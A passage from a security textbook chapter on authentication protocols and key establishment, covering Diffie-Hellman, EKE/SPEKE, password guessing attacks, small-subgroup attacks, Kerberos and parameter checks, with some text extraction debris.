be confusing, that is the point: such protocols are confusing and error-prone.
‡Example (HTTP digest authentication). HTTP basic access authentication sends
cleartext username-password pairs to a server, and thus requires pairing with encryption,
e.g., HTTP with TLS as in HTTPS (Chapter 8). In contrast, HTTP digest access au-
thentication uses challenge-response: the client shows knowledge of a password without
directly revealing it. A hash function H (e.g., SHA-256) combines the password and other
parameters. We outline a simplified version. The client fills a server form with hash value
H(h1 , Snonce, Cnonce), where h1 = H(username, realm, pswd),
along with the client nonce Cnonce. The server has sent the nonce Snonce, and a string
realm, describing the host (resource) being accessed. This may help the client deter-
mine which credentials to use, and prevents h1 (if stolen from a password hash file) from
being directly used on other realms with the same username-password; servers store h1 .
Cnonce prevents an attacker from fully controlling the value over which a client hash is
computed, and also stops pre-computed dictionary attacks. This digest authentication is
cryptographically weak: it is subject to offline guessing due to verifiable text (Section 4.5;
it thus should be used with HTTPS), and uses the deprecated approach of secret data input
(here a password) to an unkeyed hash H, rather than using a dedicated MAC algorithm.
‡Exercise (.htdigest file). To verify HTTP digest authentication, an Apache web
server file .htdigest store lines “user:realm:h1 ” where h1 = H(user, realm, pswd). A
corresponding htdigest shell utility manages this file. Describe its command-line syntax.
D IFFIE -H ELLMAN KEY AGREEMENT. Diffie-Hellman key agreement (DH) was in-
vented in 1976. It allows two parties with no prior contact nor any pre-shared keying
material, to establish a shared secret by exchanging numbers over a channel readable by
everyone else. (Read that again; it doesn’t seem possible, but it is.) The system param-
eters are a suitable large prime p and generator g for the multiplicative group of integers
modulo p (Section 4.8); for simplicity, let g and p be fixed and known (published) as a
one-time set-up for all users. Modular exponentiation is used.
(1) A → B : ga (mod p) ... B selects private b, computes K = (ga )b mod p
(2) A ← B : gb (mod p) ... A uses its private a, computes K = (gb )a mod p
The private keys a and b of A, B respectively are chosen as fresh random numbers in the
range [1, p − 2]. An attacker observing the messages ga and gb cannot compute gab the
same way A and B do, since the attacker does not know a or b. Trying to compute a from
ga and known parameters g, p is called the discrete logarithm problem, and turns out to be
a difficult computational problem if p is chosen to have suitable properties. While the full
list is not our main concern here, p must be huge and p − 1 must have at least one very
large prime factor. The core idea is to use discrete exponentiation as a one-way function,
allowing A and B to compute a shared secret K that an eavesdropper cannot.
‡P OSTPROCESSING BY KDF. Regarding the DH key K here and similarly with other
algorithms, for security-related technical reasons, in practice K is used as input to a key
derivation function (KDF) to create the session key actually used.
Exercise (Diffie-Hellman toy example). For artificially small parameters, e.g., p = 11
and g = 2, hand-compute (yes, with pencil and paper!) an example Diffie-Hellman key
agreement following the above protocol description. What is your key K shared by A, B?
‡E L G AMAL ENCRYPTION . A variation of DH, called ElGamal encryption, may be
used for key transport. Assume all parties use known g and p as above. Each potential
recipient A selects a private key a as above, computes ga mod p, and advertises this (e.g.,
in a certificate) as its (long-term) public key-agreement key. Any sender B wishing to
encrypt for A a message m (0 ≤ m ≤ p − 1, perhaps containing a session key) obtains ga ,
selects a fresh random k (1 ≤ k ≤ p − 2), and sends:
B → A : c = (y, d), where y = gk mod p, and d = m · (ga )k mod p.
To recover m, A computes: t = y p−1−a mod p (note this equals y−a ≡ (gk )−a ≡ g−ak ).
Then A recovers: m = d · t mod p (note d · t ≡ m · gak · g−ak ). In essence, the DH key
gak is immediately used to transfer a message m by sending the quantity m · gak mod p.
(Note: each value k encrypts a fixed value m differently; this is an instance of randomized
encryption. For technical reasons, it is essential that k is random and not reused.)
T EXTBOOK DH MEETS SMALL - SUBGROUP ATTACKS . DH key agreement as out-
lined above is the “textbook” version. It gives the basic idea. Safe use in practice requires
additional checks as now discussed. If an attacker substitutes the value t = 0 for expo-
nentials ga and gb , this forces the resulting key to 0 (confirm this for yourself); not a great
secret. Things are similarly catastrophic using t = 1. These seem an obvious sort of thing
that would be noticed right away, but computers must be instructed to look. We should
also rule out t = p − 1 = −1 mod p, since using that as a base for later exponentiation can
generate only 1 and −1 (we say t = −1 mod p generates a subgroup of order 2). Perhaps
102 Chapter 4. Authentication Protocols and Key Establishment
A, ga B, gb* A, g
a* B, gb
KA = (gb*)a KB = (ga*)b
Figure 4.4: Middle-person attack on unauthenticated Diffie-Hellman key agreement. The
normal DH key computed by both A and B would be gab . After key agreement, C can use
KA and KB to decrypt and re-encrypt messages that A and B send intended for each other.
Middle-person attack on unauthenticated Diffie-Hellman key agreement. The normal DH key computed
you see the pattern now: an active attacker may replace exponentials with others that gen-
by both A and B would be $g^{ab}$. After key agreement, C is able to use $K_A$ and $K_B$ to decrypt and
erate small
re-encrypt messages subgroups,
that $A$ and $B$ forcing K intofor
send intended a small set easily searched. Such small-subgroup
each other.
attacks (also called subgroup confinement attacks) are discussed in detail in Section 4.8;
extra protocol checks to rule out these cases are easy, but essential.
BASIC D IFFIE -H ELLMAN IS UNAUTHENTICATED . The basic DH protocol above is
secure against passive attack (i.e., eavesdroppers), but protection is needed against active
attackers who may inject or alter messages—such as in the small-subgroup attack just
noted. We now discuss a second active attack, possible because neither A nor B knows
the identity of the party it shares K with, and thus that party might be...an adversary! This
middle-person attack requires a defense other than simple tests on exchanged data.
M IDDLE - PERSON ATTACK . We first describe the classic middle-person attack, also
called man-in-the-middle (MITM), on unauthenticated Diffie-Hellman (Fig. 4.4); we then
discuss it generally. Legitimate parties A and B wish to carry out standard DH as above,
with parameters g, p and private values a, b. A sends ga intended for B. Attacker C
∗ ∗
(Charlie) creates private values a∗ , b∗ , and public exponentials ga , gb . C intercepts and
∗
replaces ga , sending to B instead ga . B replies with gb , which C intercepts, sending instead
∗ ∗ ∗
gb to A. A computes session key KA = gb ·a , while B computes KB = ga ·b ; these differ.
Neither Alice nor Bob has actually communicated with the other, but from a protocol
viewpoint, C has carried out one “legitimate” key agreement with A, and another with B,
and can compute both KA and KB . Now any subsequent messages A sends for B (encrypted
under KA ), can be decrypted by C, and re-encrypted under KB before forwarding on to B;
analogously for messages encrypted (under KB ) by B for A. In the view of both A and B,
all is well—their key agreement seemed fine, and encryption/decryption also works fine.
C may now read all information as it goes by, alter any messages at will before for-
warding, or inject new messages. Independent of DH, middle-person type attacks are
a general threat—e.g., when a browser connects to a web site, if regular HTTP is used
(i.e., unsecured), there is a risk that information flow is proxied through an intermediate
site before proceeding to the final destination. Rich networking functionality and proto-
cols, designed for legitimate purposes including testing and debugging, typically make
4.3. Establishing shared keys by public agreement (DH) 103
explicit
key authen*ca*on
key-use authen*cated key
confirma*on establishment
implicit
key authen*ca*on
Figure 4.5: Key-authentication terminology and properties. Explicit and implicit key
authentication are both authenticated key establishment (with, and without, key-use con-
firmation). Key establishment protocols may or may not provide entity authentication.
or both parties, based on the messages received and the information stored locally.
‡STS AUTHENTICATION PROPERTIES . In STS above, A receives the encrypted
then*ca*on terminology and proper*es. Explicit key authen*ca*on, and implicit key authen*ca*on,
message (2), decrypts, and verifies B’s digital signature on the two exponentials, checking
h authen*cated key establishment (with, and without, key-use confirma*on). These are viewed as
that these are the properly ordered pair agreeing with that sent in (1). Verification success
*es delivered to one or both protocol par*es. Key establishment protocols may, or may not, provide en*ty authen*ca*on.
provides key-use confirmation to A. (We reason from the viewpoint of A; analogous
reasoning provides these properties to B. The reasoning is informal, but gives a sense
of how properties might be established rigorously.) The signature in (2) is over a fresh
value A just sent in (1); the fresh values actually play dual roles of DH exponentials and
random-number TVPs. B’s signature over a fresh value assures A that B is involved in
real time. Anyone can sign the pair of exponentials sent cleartext in (1) and (2), so the
signature alone doesn’t provide implicit key authentication; but the signature is encrypted
by the fresh session key K, only a party having chosen one of the two DH private keys
can compute K, and we reason that the far-end party knowing K is the same one that
did the signing. In essence, B’s signature on the exponentials now delivers implicit key
authentication. The earlier-reasoned key-use confirmation combined with this provides
explicit key authentication. Overall, STS provides to both parties: key agreement, entity
authentication (not fully reasoned here), and explicit key authentication.
‡Exercise (BAN logic). The Burrows-Abadi-Needham logic of authentication is a
systematic method for manually studying authentication and authenticated key establish-
ment protocols and reasoning about their properties and the goals achieved.
(a) Summarize the main steps involved in a BAN logic proof (hint: [12]).
(b) What did BAN analysis of the X.509 authentication protocol find? ([17]; [34, p.510])
(c) Summarize the ideas used to add reasoning about public-key agreement to BAN [44].
(d) Summarize the variety of beliefs that parties in authenticated key establishment proto-
col may have about keys (hint: [9, Ch.2], and for background [34, Ch.12]).
reduces the dictionary again by half to 2u−2 , and so on logarithmically. How does this
compare to verifiable text, such as a password hash? If searching for a weak secret using
a dictionary list D, one verifiable text may allow an offline search through D, finding
the weak secret if it is among the entries in D. In contrast, a partition attack collects
test data from numerous protocol runs, and each narrows a dictionary by some fraction;
each involves the same weak secret, randomized differently, to the attacker’s benefit. This
attack strategy re-appears regularly in crypto-security. We say that each protocol run leaks
information about the secret being sought.
DH-EKE. As in basic Diffie-Hellman (Section 4.3), we need parameters g, p. A first
question is whether it is safe to transmit {p}W in a protocol message. Answer: no. Testing
a candidate p∗ for primality is easy in practice, even for very large p, so transmitting {p}W
would introduce verifiable text against which to test candidate guesses for W . So assume
a fixed and known DH prime p and generator g for the multiplicative group of integers
mod p.8 To add authentication to basic DH (being unauthenticated, it is vulnerable to
middle-person attacks), the exponentials are encrypted with pre-shared key W :
(1) A → B : A, {ga }W ... the key agreement public key ga is short for ga (mod p)
(2) A ← B : {gb }W
Each party uses W to recover regular DH exponentials, before executing DH key agree-
ment. Note that DH private keys a and b (unlike an RSA modulus) have no predictable
form, being simply non-zero random numbers of sufficient length. The idea is that a
middle-person attack is no longer possible because:
(i) the attacker, not knowing W , cannot recover the DH exponentials; and
(ii) since a is random, we hope (see Note 1 below) that ga is also random and leaks no
information to guesses W ∗ for W . We now have a full illustrative version of DH-EKE:
(1) A → B : A, {ga }W ... symmetrically encrypt ga under key W
(2) A ← B : {gb }W , {rB }K ... rB is B’s random challenge
(3) A → B : {rA , rB }K ... B checks that rB matches earlier
(4) A ← B : {rA }K ... A checks that rA matches earlier
Distinct from the conceptual EKE (above), here each party computes fresh session key
K from the result of DH key agreement, rather than B generating and transmitting it to
A. This provides forward secrecy (Section 4.4). The protocol can be viewed in practical
terms as using passwords to encrypt DH exponentials, or abstractly as using a shared weak
secret to symmetrically encrypt ephemeral public keys that are essentially random strings.
N OTE 1. The above hope is false. If modulus p has bitlength n, then valid exponen-
tials x (and y) will satisfy x < p < 2n ; any candidate W ∗ that results in a trial-decrypted x
(or y) in the range p ≤ x < 2n is verifiably wrong. Thus each observation of a W -encrypted
exponential partitions the list of dictionary candidates into two disjoint sets, one of which
can be discarded. The fraction of remaining candidates that remain contenders, i.e., the
fraction yielding a result less than p, is p/2n < 1; thus if t protocol runs are observed,
each yielding two exponentials to test on, the fraction of a dictionary that remains eligible
is (p/2n )2t . This offline attack is ameliorated by choosing p as close to 2n as practical; an
8 Here p = Rq + 1 for a suitably large prime q, and thus p is PH-safe per Section 4.8.
110 Chapter 4. Authentication Protocols and Key Establishment
alternate amelioration is also suggested in the original EKE paper (Section 4.9).
SPEKE. An elegant alternative, SPEKE (simple password exponential key exchange)
addresses the same problem as DH-EKE, but combines DH exponentials with passwords
without using symmetric encryption in the key agreement itself. The final steps for key-
use confirmation can be done as in DH-EKE, i.e., the symmetric encryptions in steps
(2)-(4) above. For notation here, let w denote the weak secret (password).9
(1) A → B : A, (w(p−1)/q )a ... this is just f (w)a if we write f (w) = w(p−1)/q
(2) A ← B : (w (p−1)/q )b ... and f (w)b
Again exponentiation is mod p (for p = Rq + 1, q a large prime). As before, A and B each
raise the received value to the power of their own private value; now K = wab(p−1)/q .
Notes: If R = 2, then (p − 1)/q = 2 and the exponentials are w2a and w2b ; such a p
is called a safe prime (Section 4.8). We can assume the base w(p−1)/q has order q (which
as noted, is large).10 The order of the base bounds the number of resulting values, and
small-order bases must be avoided as with basic DH—recall the small-subgroup attack.
Because an active attacker might manipulate the exchanged exponentials to carry out such
an attack, before proceeding to use key K, A and B must implement tests as follows.
• Case: p is a safe prime. Check that: K 6= 0, 1, or p − 1 (mod p).
• Otherwise: do the above check, plus confirm that: xq = 1 (mod p). This confirms x is
in the group Gq . Here x denotes the received exponential in (1), (2) respectively.
‡Example (Flawed SPEKE). One of SPEKE’s two originally proposed versions had
a serious flaw. We explain it here, using a key-use confirmation design yielding a minimal
three-message protocol originally proposed for EKE, but adopted by SPEKE.
(1) A → B : A, gwa ... this is f (w)a for f (w) = gw ; g is chosen to have order q
(2) A ← B : gwb , {gwb }K ... B’s exponential doubles as a random number
(3) A → B : {H(gwb )}K ... key-use confirmation in (2) and (3)
This version of SPEKE exchanges f (w)a and f (w)b where f (w) = gw and g = gq gener-
ates a subgroup of order q (found per Section 4.8). A sends gwa , resulting in K = gwab .
For a weak secret w, this version falls to a dictionary attack after an attacker C (Charlie)
first initiates a single (failed) protocol run, as follows. After A sends gwa , C responds
with gx (not gwb ) for a random x—he need not follow the protocol! A will compute
K = (gx )a = gxa . C receives gwa , and knowing x, can compute (gwa )x ; he can also make
offline guesses of w∗ , and knowing q, computes the (mod q) inverse of w∗ by solving
∗−1
z · w∗ ≡ 1 (mod q) for z = (w∗ )−1 . Now for each guess w∗ he computes K ∗ = gwax(w ) ;
the key point is that for a correct guess w∗ , K ∗ will equal gax , which is A’s version of
K. Using A’s key-use confirmation in (3), C independently computes that value using K ∗
(possible because C also knows the value K is being confirmed on), and a match confirms
w = w∗ ; otherwise C moves on to test the next guess for w∗ , until success. This attack
exploits two errors: failure to anticipate combining a dictionary attack with a one-session
active attack, and a key-use confirmation design that provides verifying text.
9 When w is first processed by a hash function, we use W = H(w); a different SPEKE variation does so.
10 By F7 (Section 4.8), the order is q or 1 (exponentiating by R = (p − 1)/q forces it into the order-q group).
For it to be 1, q must divide R; this can be avoided by choice of p, and is ruled out by later checking: K 6= 1.
4.6. ‡Weak secrets and forward search in authentication 111
‡Exercise (SRP, OKE, J-PAKE). Summarize the technical details of the following
password-authenticated key exchange alternatives to EKE and SPEKE.
(a) SRP, the Secure Remote Password protocol. (Hint: [49, 48].)
(b) OKE, the Open Key Exchange. (Hint: [31], but also [32] or [9, Chapter 7].)
(c) J-PAKE, called PAKE by Juggling. (Hint: [22, 23, 21].)
attack is likewise possible if by guessing values w∗ , an attacker can derive from proto-
col data, values serving as verifiable text to compare to forward-search values. Although
EeA (x) encrypts x, the public-key property means it is publicly computable like a one-way
hash; thus the similarity to dictionary attacks on protocol data or password hashes.
A standard defense is to insert a field for a sufficiently long random number r, and send
EeA (r, x). The intended recipient recovers r and x (simply throwing away the r, which has
served its purpose). A value r = c used in this manner is sometimes called a confounder in
other contexts, as it confuses or precludes attacks. Note the analogy to password salting.
More generally, attacks against weak secrets are often stopped by “randomizing” protocol
data related to weak secrets, in the sense of removing redundancies, expected values, and
recognizable formats or structural properties that may otherwise be exploited.
Example (Weak secrets in challenge-response authentication). Consider this protocol
to prove knowledge of a weak secret W ; r is a random number; f is a known function.
(1) A → B : {r}W ... unilateral authentication of B to A
(2) A ← B : { f (r)}W ... use simple f (r) 6= r to prevent reflection attack
Neither (1) nor (2) contains verifiable text alone as r and f (r) are random, but jointly they
can be attacked: guess W ∗ for W , decrypt (1) to recover r∗ , compute f (r∗ ), test equality
with (2) decrypted using W ∗ . The attack is stopped by using two unrelated keys:
(10 ) A → B : {r}K1
(20 ) A ← B : { f (r)}K2
In this case, for fixed r, for any guessed K1 , we expect a K2 exists such that {r}K1 =
{ f (r)}K2 so an attacker cannot easily confirm correct guesses. Rather than ask users to
remember two distinct passwords (yielding K1 = W1 , K2 = W ), consider these changes.
Choose a public-private key pair (for B). The public key replaces the functionality of
K1 ; the private key stays on B’s computer. A sufficiently large random number cA is also
used as a confounder to preclude a forward search attack. To illustrate confounders, we
artificially constrain f to the trivially-inverted function f (r) = r + 1 (although our present
problem is more easily solved by a one-way hash function12 ):
(1) A → B : EK1 (cA , r) ... K1 is the encryption public key of user B; A is the server
(2) A ← B : { f (r)}W ... B proves knowledge of password-derived key W = K2
This stops the guessing attack, since to recover r from (1) for a test, an attacker would
need to guess either (i) W as well as the private key related to K1 ; or (ii) both W and cA .
Exercise (Protocol analysis). These questions relate to the example above.
(a) List the precise steps in attack alternatives (i) and (ii), and with concrete examples of
plausible search space sizes, confirm that the attacks take more than a feasible time.
(b) Explain, specifying precise attack steps, how an active attacker can still learn W .
Hint: consider an attacker A0 sending the first message to B, and note that A0 knows r.
Example (Forward search: authentication-only protocol). As a final example of dis-
rupting forward search, this unilateral authentication protocol proves that user A knows a
weak secret WA = H(w) computed on user-entry of A’s numeric PIN w. A’s device con-
tains no keying material other than the bank’s public key eS .
12 This is noted and discussed further by Gong [19].
4.7. ‡Single sign-on (SSO) and federated identity systems 113
involved. (In enterprise SSO systems, internal information technology staff and manage-
ment are responsible.) Each user registers with an IdP, and on later requesting a service
from an RP/SP, the user (browser) is redirected to authenticate to their IdP, and upon suc-
cessful authentication, an IdP-created authentication token is conveyed to the RP (again
by browser redirects). Thus IdPs must be recognized by (have security relationships with)
the RPs their users wish to interact with, often in multiple administrative domains. User-
to-IdP authentication may be by the user authenticating to a remote IdP over the web by
suitable user authentication means, or to a local IdP hosted on their personal device.
K ERBEROS PROTOCOL ( PASSWORD - BASED VERSION ). The simplified Kerberos
protocol below provides mutual entity authentication and authenticated key establishment
between a client A and a server B offering a service. It uses symmetric-key transport. A
trusted KDC T arranges key management. The name associates A, B and T with the three
heads of the dog Kerberos in Greek mythology. A and B share no secrets a priori, but from
a registration phase each shares with T a symmetric key, denoted kAT and kBT , typically
password-derived. (Protocol security then relies in part on the properties of passwords.)
A gets from T a ticket of information encrypted for B including an A-B session key kS ,
A’s identity, and a lifetime L (an end time constraining the ticket’s validity); copies of kS
and L are also separately encrypted for A. The ticket and additional authenticator authA
sent by A in (3), if they verify correctly, authenticate A to B:
For G p−1 : the order of any element is either d = 1 or some d that divides p − 1.
For Gq : all elements thus have order either 1 or q (since q is prime).
F3: Gn has exactly one subgroup of order d for each positive divisor d of its order n; and
φ(d) elements of order d; and therefore φ(n) generators.
F4: If g generates Gn , then b = gi is also a generator if and only if gcd(i, n) = 1.
F5: b is a generator of Gn if and only if, for each prime divisor pi of n: bn/pi 6= 1
F6: For generator g of Gn , and any divisor d of n: h = gn/d yields an order-d element.
F7: Without knowing a generator for a cyclic group Gn , for any prime divisor p1 of n, an
element b of order p1 can be obtained as follows:
Select a random element h and compute b = hn/p1 ; continue until b 6= 1.
(Obviously a b = 1 does not have prime order; and for b 6= 1, it lies in the unique
subgroup of order p1 and must itself be a generator, from F2 and F3.)
Exercise (Another Z11 ∗ generator). For Z ∗ as above, set g = 3. Does the sequence
11
g, g2 , g3 ...
(all reduced mod 11) generate the full set, or just half? Find a generator other
than g = 2, and list the sequence of elements it generates.
Example (Subgroups of Z11 ∗ ). Table 4.2 explores the subgroups of Z ∗ , or G . We
11 10
have seen that one generator for the full group is g = 2. The element h = 3 generates the
order-5 cyclic subgroup G5 . The elements of G5 can be represented as powers of h:
h1 = 3, h2 = 9, h3 = 5, h4 = 4, h5 = 1 = h0
To view G5 in terms of the generator g = 2 of the full group, since h = 3 = g8 , this same
ordered list (3, 9, 5, 4, 1) represented in the form (g8 )i is:
(g8 )1 = 3, (g8 )2 = 9, (g8 )3 = 5, (g8 )4 = 4, (g8 )5 = 1
Since for p = 11, exponents can be reduced mod 10, this is the same as: g8 , g6 , g4 , g2 , g0 .
The divisors of 10 are 1, 2, 5 and 10; these are thus (by F2 above) the only possible orders
{3, 4, 5, 9}
Order Subgroup Generators all generate G5
1 {1} 1 G5
2 {1, 10} 10 G1= {1}
5 {1, 3, 4, 5, 9} 3, 4, 5, 9 G2 {p-1} =
10 {1, 2, 3, ..., 10 } 2, 6, 7, 8 {10}
{2, 6, 7, 8}
all generate G10 G10
i 1 2 3 4 5 6 7 8 9 10 11 12 ···
b = gi 2 4 8 5 10 9 7 3 6 1 2 4 ···
order of b 10 5 10 5 2 5 10 5 10 1 10 5 ···
∗ = G . G has four distinct subgroups. The
Table 4.2: The structure of subgroups of Z11 10 10
lower table shows how elements can be represented as powers of the generator g = 2, and
the orders of these elements. Note that p = 11 is a safe prime (p − 1 = 2 · 5).
of subgroups, and also of elements in them. If you don’t believe this, cross-check Table
4.2 with pencil and paper for yourself. (Yes, really!) Given any generator g for G10 , it
should be easy to see why g2 is a generator for a subgroup half as large, and g5 generates a
subgroup one-fifth as large. At the right end of the lower table, the cycle repeats because
here exponents are modulo 10, so 210 ≡ 20 = 1 mod 11 (as noted, for integers mod p,
exponent arithmetic is modulo p − 1). Note that element b = 10 has order 2 and is a
member of both G2 = {1, −1} (the subgroup of order 2) and G10 . b = 10 ≡ −1 is not in
the subgroup of order 5; and 2 does not divide 5. (Is that a coincidence? See F2.) Note
that the indexes i such that gcd(i, 10) = 1 are i = 1, 3, 7, 9, and these are the four values
for which gi also generates the full group G10 . (Is this a coincidence? See F4.)
Exercise (Multiplicative groups: p = 19, 23, 31). By hand, replicate Table 4.2 for Z ∗p
for a) p = 19 = 2 · 3 · 3 + 1; b) p = 23 = 2 · 11 + 1; and c) p = 31 = 2 · 3 · 5 + 1. (F2 will
tell you what orders to expect; use F3 to confirm the number of generators found.)
C OMMENT ON EXPONENT ARITHMETIC (F1). In Gn notation we often think ab-
stractly of “group operations” and associate elements with their exponent relative to a
fixed generator, rather than their common implementation representation in integer arith-
metic mod p. Consider p = Rq + 1. The multiplicative group Z ∗p is a cyclic group of
p − 1 elements. In mod p representation, “exponent arithmetic” can be done mod p − 1
since that is the order of any generator. Z ∗p has a cyclic subgroup Gq of q elements, and
when expressing elements of Gq as powers of a Gq generator, exponent arithmetic is mod
q. However, the subgroup operations are still implemented using mod p (not mod q); the
mod q reduction is for dealing with exponents. Thus switching between Z ∗p and Gq nota-
tion, and between elements and their indexes (exponents), requires precision of thought.
We mentally distinguish between implementation in “modular arithmetic”, and “group
operations”. It may help to re-read this and work through an example with q = 11.
S AFE PRIMES , DSA PRIMES , SECURE PRIMES . Let p be a prime modulus used
for Diffie-Hellman (DH) exponentiation. The security of Diffie-Hellman key agreement
relies on it being computationally difficult to compute discrete logarithms (Section 4.3).
It turns out that the Pohlig-Hellman discrete log algorithm is quite efficient unless p −
√
1 has a “large” prime factor q, where “large” means that q operations is beyond the
computational power of an attacker. (So for example: if an attacker can carry out on the
order of 2t operations, q should have bitlength more than 2t; in practice, a base minimum
for t is 80 bits, while 128 bits offers a comfortable margin of safety.)
For Diffie-Hellman security, the following definitions are of use. Recall (F2 above)
that the factors of p − 1 determine the sizes of possible subgroups of Z ∗p = G p−1 .
1. A PH-safe prime is a prime p such that p − 1 itself has a “large” prime factor q as
described above. The motivation is the Pohlig-Hellman algorithm noted above. Larger
q causes no security harm (attacks become computationally more costly).
2. A safe prime is a prime p = 2q + 1 where q is also prime. Z ∗p will then have order
p − 1 = 2q, and (by F2) will have exactly two proper cyclic subgroups: Gq with q
elements, and G2 with two elements (1, p − 1). Remember: p − 1 ≡ −1 mod p.
3. A DSA prime is a prime p = Rq + 1 with a large prime factor q of p − 1. Traditionally,
118 Chapter 4. Authentication Protocols and Key Establishment
here q is chosen large enough to be PH-safe, but not much larger. The idea is to
facilitate DH computations in the resulting DSA subgroup Gq of q elements, since by
F2, a prime-order group has no small subgroups other than easily-detected G1 = {1}.
A historical choice was to use p of 1024 bits and a 160-bit q; a more conservative
choice now is p of 2048 bits and a 256-bit q.
4. A secure prime is a prime p = 2Rq + 1 such that q is prime, and either R is also prime
or every prime factor qi of R is larger than q, i.e., p = 2qq1 q2 · · · qn + 1 for primes
qi > q. Secure primes can be generated much faster than safe primes, and are believed
to be no weaker against known attacks.
Aside: the term strong prime is unavailable for DH duty, allocated instead for service in
describing the properties of primes necessary for security in RSA moduli of form n = pq.
S UBGROUP CONFINEMENT ATTACK ON DH. Let the DH prime be p = Rq + 1
(assume q is a large prime as required, i.e., a PH-safe prime). R itself may be very large,
but typically it will have many smaller divisors d (e.g., since R must be even, 2 is always
a divisor). Let g be a generator for Z ∗p . For any such d, b = g(p−1)/d has order d (from
F6). The attack idea is to push computations into the small, searchable subgroup of order
d. To do this so that both parties still compute a common K, intercept (e.g., via a middle-
person attack) the legitimate exponentials ga , gb and raise each to the power (p − 1)/d; the
resulting shared key is K = gab(p−1)/d = (g(p−1)/d )ab = bab . Since b has order d, this key
can take on only d values. Such attacks highlight the importance of integrity-protection
in protocols (including any system parameters exchanged).
Exercise (Toy example of small-subgroup confinement). Work through a tiny example
of the above attack, using p = 11 (building on examples from above). Use R = 2 = d,
q = 5, g = 2. The DH private keys should be in the range [1, 9].
Exercise (Secure primes and small-subgroup confinement). Suppose that p is a secure
prime, and a check is made to ensure that the resulting key is neither 1 nor p − 1 (mod p).
Does the above subgroup confinement attack succeed?
Exercise (DSA subgroups and subgroup confinement attack). Consider p = Rq + 1
(prime q), and DH using as base a generator gq of the cyclic subgroup Gq .
(a) If an attacker substitutes exponentials with values (integers mod p) that are outside of
those generated by gq , what protocol checks could detect this?
(b) If an attacker changes one of the public exponentials but not both, the parties likely
obtain different keys K; discuss possible outcomes in this case.
E SSENTIAL PARAMETER CHECKS FOR D IFFIE -H ELLMAN PROTOCOLS . The
subgroup confinement attack can be addressed by various defenses. Let K denote the
resulting DH key, and x = ga , y = gb (mod p) the exponentials received from A, B.
1. Case: DH used with a safe prime p = 2q + 1 (here a generator g for G p is used). Check
x 6= 1 or p − 1 (mod p); and that x 6= 0 (or equivalently, check K 6= 0). Similarly for
y. These checks detect if x or y were manipulated into the tiny subgroup G2 of two
elements. Note: −1 = p − 1 (mod p).
2. Case: DH used with a DSA prime (and a generator g = gq for Gq ). The above checks
are needed, plus checks that x, y are in Gq by confirming: xq ≡ 1 (mod p), and analo-
4.8. ‡Cyclic groups and subgroup attacks on Diffie-Hellman 119
Exercise (Diffie-Hellman small subgroups and timing attacks discussed in RFC 7919).
(a) Discuss how RFC 7919 [18] proposes to ameliorate small-subgroup attacks on TLS.
(b) Discuss the attacks motivating this text in RFC 7919, Section 8.6 (Timing Attacks):
“Any implementation of finite field Diffie-Hellman key exchange should use constant-time
modular-exponentiation implementations. This is particularly true for those implemen-
tations that ever reuse DHE [Diffie-Hellman Ephemeral] secret keys (so-called “semi-
static” ephemeral keying) or share DHE secret keys across multiple machines (e.g., in a
load-balancer situation).”
Schnorr’s signature scheme [40] used prime-order subgroups prior to the later-named DSA
primes in NIST’s Digital Signature Algorithm. Regarding discrete log algorithms, see van
Oorschot [46, 45] respectively for general parallelization with linear speedup, and to find
exponents of size 22t (i.e., 2t bits) in order 2t operations. Regarding “trap-dooring” of a
1024-bit prime p and taking a Diffie-Hellman log in such a system, see Fried [16]. Small-
subgroup attacks were already published in 1996 [34, p.516]. Simple checks to prevent
them, and corresponding checks before issuing certificates, were a prominent topic circa
1995-1997 (cf. [51]). Early papers highlighting that Diffie-Hellman type protocols must
verify the integrity of values used in computations include: Anderson (with Needham)
[4], van Oorschot [45], Jablon [25], Anderson (with Vaudenay) [5], and Lim [30]. A
2017 study [43] found that prior to its disclosures, such checks remained largely unim-
plemented on Internet servers. For algorithms to efficiently generate primes suitable for
Diffie-Hellman, RSA and other public-key algorithms, see Menezes [34, Ch.4], and also
Lim [30] for defining and generating secure primes.
References (Chapter 4)
[1] M. Abadi and R. M. Needham. Prudent engineering practice for cryptographic protocols. IEEE Trans.
Software Eng., 22(1):6–15, 1996. See also (same authors and title): IEEE Symp. Security and Privacy,
page 122–136, 1994.
[2] M. Abdalla, F. Benhamouda, and P. MacKenzie. Security of the J-PAKE password-authenticated key
exchange protocol. In IEEE Symp. Security and Privacy, pages 571–587, 2015.
[3] R. J. Anderson and R. M. Needham. Programming Satan’s Computer. In Computer Science Today:
Recent Trends and Developments, pages 426–440. 1995. Springer LNCS 1000.
[4] R. J. Anderson and R. M. Needham. Robustness principles for public key protocols. In CRYPTO, pages
236–247, 1995.
[5] R. J. Anderson and S. Vaudenay. Minding your p’s and q’s. In ASIACRYPT, pages 26–35, 1996.
[6] S. M. Bellovin and M. Merritt. Encrypted key exchange: Password-based protocols secure against
dictionary attacks. In IEEE Symp. Security and Privacy, pages 72–84, 1992.
[7] S. M. Bellovin and M. Merritt. Augmented encrypted key exchange: A password-based protocol secure
against dictionary attacks and password file compromise. In ACM Comp. & Comm. Security (CCS),
pages 244–250, 1993.
[8] R. Bird, I. S. Gopal, A. Herzberg, P. A. Janson, S. Kutten, R. Molva, and M. Yung. Systematic design
of two-party authentication protocols. In CRYPTO, pages 44–61, 1991.
[9] C. Boyd and A. Mathuria. Protocols for Authentication and Key Establishment. Springer, 2003. Also
second edition (2019) with Douglas Stebila.
[10] W. E. Burr, D. F. Dodson, E. M. Newton, R. A. Perlner, W. T. Polk, S. Gupta, and E. A. Nabbus. NIST
Special Pub 800-63-1: Electronic Authentication Guideline. U.S. Dept. of Commerce. Dec 2011 (121
pages), supersedes [11]; superseded by SP 800-63-2, Aug 2013 (123 pages), itself superseded by [20].
[11] W. E. Burr, D. F. Dodson, and W. T. Polk. NIST Special Pub 800-63: Electronic Authentication
Guideline. U.S. Dept. of Commerce. Ver. 1.0, Jun 2004 (53 pages), including Appendix A: Estimating
Password Entropy and Strength (8 pages). Superseded by [10].
[12] M. Burrows, M. Abadi, and R. M. Needham. A logic of authentication. ACM Trans. Comput. Syst.,
8(1):18–36, 1990. See also (same authors and title) ACM SOSP, pages 1–13, 1989.
[13] S. Chiasson, P. C. van Oorschot, and R. Biddle. A usability study and critique of two password man-
agers. In USENIX Security, 2006.
[14] W. Diffie, P. C. van Oorschot, and M. J. Wiener. Authentication and authenticated key exchanges.
Designs, Codes and Cryptography, 2(2):107–125, 1992.
[15] N. Ferguson and B. Schneier. Practical Cryptography. Wiley, 2003.
[16] J. Fried, P. Gaudry, N. Heninger, and E. Thomé. A kilobit hidden SNFS discrete logarithm computation.
In EUROCRYPT, pages 202–231, 2017.
